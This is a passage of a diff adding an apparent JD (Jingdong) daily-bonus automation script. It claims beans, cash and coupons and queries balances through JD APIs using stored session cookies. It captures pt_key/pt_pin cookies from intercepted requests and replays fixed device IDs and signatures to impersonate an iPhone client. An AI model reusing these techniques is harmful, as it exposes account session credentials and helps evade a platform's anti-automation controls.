(data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + } else { + if (!cc.data) cc.data = {} + console.log(`\n京东商城-超市签到失败 ${Details}`) + const tp = cc.data.bizCode == 811 ? `已签过` : cc.data.bizCode == 300 ? `Cookie失效` : `${cc.data.bizMsg||`未知`}` + merge.JDGStore.notify = `京东商城-超市: 失败, 原因: ${tp}${cc.data.bizCode==300?`‼️`:` ⚠️`}` + merge.JDGStore.fail = 1 + } + } catch (eor) { + $nobyda.AnError("京东商城-超市", "JDGStore", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDSecKilling(s) { //领券中心 + merge.JDSecKill = {}; + return new Promise((resolve, reject) => { + if (disable("JDSecKill")) return reject(); + setTimeout(() => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: 'functionId=homePageV2&appid=SecKill2020' + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 203 || cc.code == 3 || cc.code == 101) { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 原因: Cookie失效‼️`; + } else if (cc.result && cc.result.projectId && cc.result.taskId) { + console.log(`\n京东秒杀-红包查询成功 ${Details}`) + return resolve({ + projectId: cc.result.projectId, + taskId: cc.result.taskId + }) + } else { + merge.JDSecKill.notify = `京东秒杀-红包: 失败, 暂无有效活动 ⚠️`; + } + merge.JDSecKill.fail = 1; + console.log(`\n京东秒杀-红包查询失败 ${Details}`) + reject() + } catch (eor) { + $nobyda.AnError("京东秒杀-查询", "JDSecKill", eor, response, data) + reject() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }).then(async (id) => { + await new Promise(resolve => { + $nobyda.post({ + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY, + Origin: 'https://h5.m.jd.com' + }, + body: `functionId=doInteractiveAssignment&body=%7B%22encryptProjectId%22%3A%22${id.projectId}%22%2C%22encryptAssignmentId%22%3A%22${id.taskId}%22%2C%22completionFlag%22%3Atrue%7D&client=wh5&appid=SecKill2020` + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data); + if (cc.code == 0 && cc.subCode == 0) { + console.log(`\n京东秒杀-红包签到成功 ${Details}`); + const qt = data.match(/"discount":(\d.*?),/); + merge.JDSecKill.success = 1; + merge.JDSecKill.Cash = qt ? qt[1] : 0; + merge.JDSecKill.notify = `京东秒杀-红包: 成功, 明细: ${merge.JDSecKill.Cash||`无`}红包 🧧`; + } else { + console.log(`\n京东秒杀-红包签到失败 ${Details}`); + merge.JDSecKill.fail = 1; + merge.JDSecKill.notify = `京东秒杀-红包: 失败, ${cc.subCode==103?`原因: 已领取`:cc.msg?cc.msg:`原因: 未知`} ⚠️`; + } + } catch (eor) { + $nobyda.AnError("京东秒杀-领取", "JDSecKill", eor, response, data); + } finally { + resolve(); + } + }) + }) + }, () => {}); +} + +function TotalSteel() { + merge.TotalSteel = {}; + return new Promise(resolve => { + if (disable("TSteel")) return resolve() + $nobyda.get({ + url: 'https://coin.jd.com/m/gb/getBaseInfo.html', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"gbBalance\":\d+)/)) { + console.log("\n" + "京东-总钢镚查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalSteel.TSteel = cc.gbBalance + } else { + console.log("\n" + "京东-总钢镚查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户钢镚-查询", "TotalSteel", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalBean() { + merge.TotalBean = {}; + return new Promise(resolve => { + if (disable("Qbear")) return resolve() + $nobyda.get({ + url: 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.msg == 'success' && cc.retcode == 0) { + merge.TotalBean.nickname = cc.data.userInfo.baseInfo.nickname || "" + merge.TotalBean.Qbear = cc.data.assetInfo.beanNum || 0 + $nobyda.headUrl = cc.data.userInfo.baseInfo.headImageUrl || "" + console.log(`\n京东-总京豆查询成功 ${Details}`) + } else { + const name = decodeURIComponent(KEY.split(/pt_pin=(.+?);/)[1] || ''); + merge.TotalBean.nickname = cc.retcode == 1001 ? `${name} (CK失效‼️)` : ""; + console.log(`\n京东-总京豆查询失败 ${Details}`) + } + } catch (eor) { + $nobyda.AnError("账户京豆-查询", "TotalBean", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalCash() { + merge.TotalCash = {}; + return new Promise(resolve => { + if (disable("TCash")) return resolve() + $nobyda.post({ + url: 'https://api.m.jd.com/client.action?functionId=myhongbao_balance', + headers: { + Cookie: KEY + }, + body: "body=%7B%22fp%22%3A%22-1%22%2C%22appToken%22%3A%22apphongbao_token%22%2C%22childActivityUrl%22%3A%22-1%22%2C%22country%22%3A%22cn%22%2C%22openId%22%3A%22-1%22%2C%22childActivityId%22%3A%22-1%22%2C%22applicantErp%22%3A%22-1%22%2C%22platformId%22%3A%22appHongBao%22%2C%22isRvc%22%3A%22-1%22%2C%22orgType%22%3A%222%22%2C%22activityType%22%3A%221%22%2C%22shshshfpb%22%3A%22-1%22%2C%22platformToken%22%3A%22apphongbao_token%22%2C%22organization%22%3A%22JD%22%2C%22pageClickKey%22%3A%22-1%22%2C%22platform%22%3A%221%22%2C%22eid%22%3A%22-1%22%2C%22appId%22%3A%22appHongBao%22%2C%22childActiveName%22%3A%22-1%22%2C%22shshshfp%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%2C%22extend%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22activityArea%22%3A%22-1%22%2C%22childActivityTime%22%3A%22-1%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&networklibtype=JDNetworkBaseAF&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=fdc04c3ab0ee9148f947d24fb087b55d&st=1581245397648&sv=120" + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const Details = LogDetails ? "response:\n" + data : ''; + if (data.match(/(\"totalBalance\":\d+)/)) { + console.log("\n" + "京东-总红包查询成功 " + Details) + const cc = JSON.parse(data) + merge.TotalCash.TCash = cc.totalBalance + } else { + console.log("\n" + "京东-总红包查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户红包-查询", "TotalCash", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalSubsidy() { + merge.TotalSubsidy = {}; + return new Promise(resolve => { + if (disable("TotalSubsidy")) return resolve() + $nobyda.get({ + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/mySubsidyBalance', + headers: { + Cookie: KEY, + Referer: 'https://active.jd.com/forever/cashback/index?channellv=wojingqb' + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.data) { + console.log("\n京东-总金贴查询成功 " + Details) + merge.TotalSubsidy.TSubsidy = cc.resultData.data.balance || 0 + } else { + console.log("\n京东-总金贴查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户金贴-查询", "TotalSubsidy", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function TotalMoney() { + merge.TotalMoney = {}; + return new Promise(resolve => { + if (disable("TotalMoney")) return resolve() + $nobyda.get({ + url: 'https://api.m.jd.com/client.action?functionId=cash_exchangePage&body=%7B%7D&build=167398&client=apple&clientVersion=9.1.9&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=762a8e894dea8cbfd91cce4dd5714bc5&st=1602179446935&sv=102', + headers: { + Cookie: KEY + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.userName = i.userName ? i.userName : decodeURIComponent(n.split(/pt_pin=(.+?);/)[1]); + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total: checkFormat(total), + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + notification += message + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); 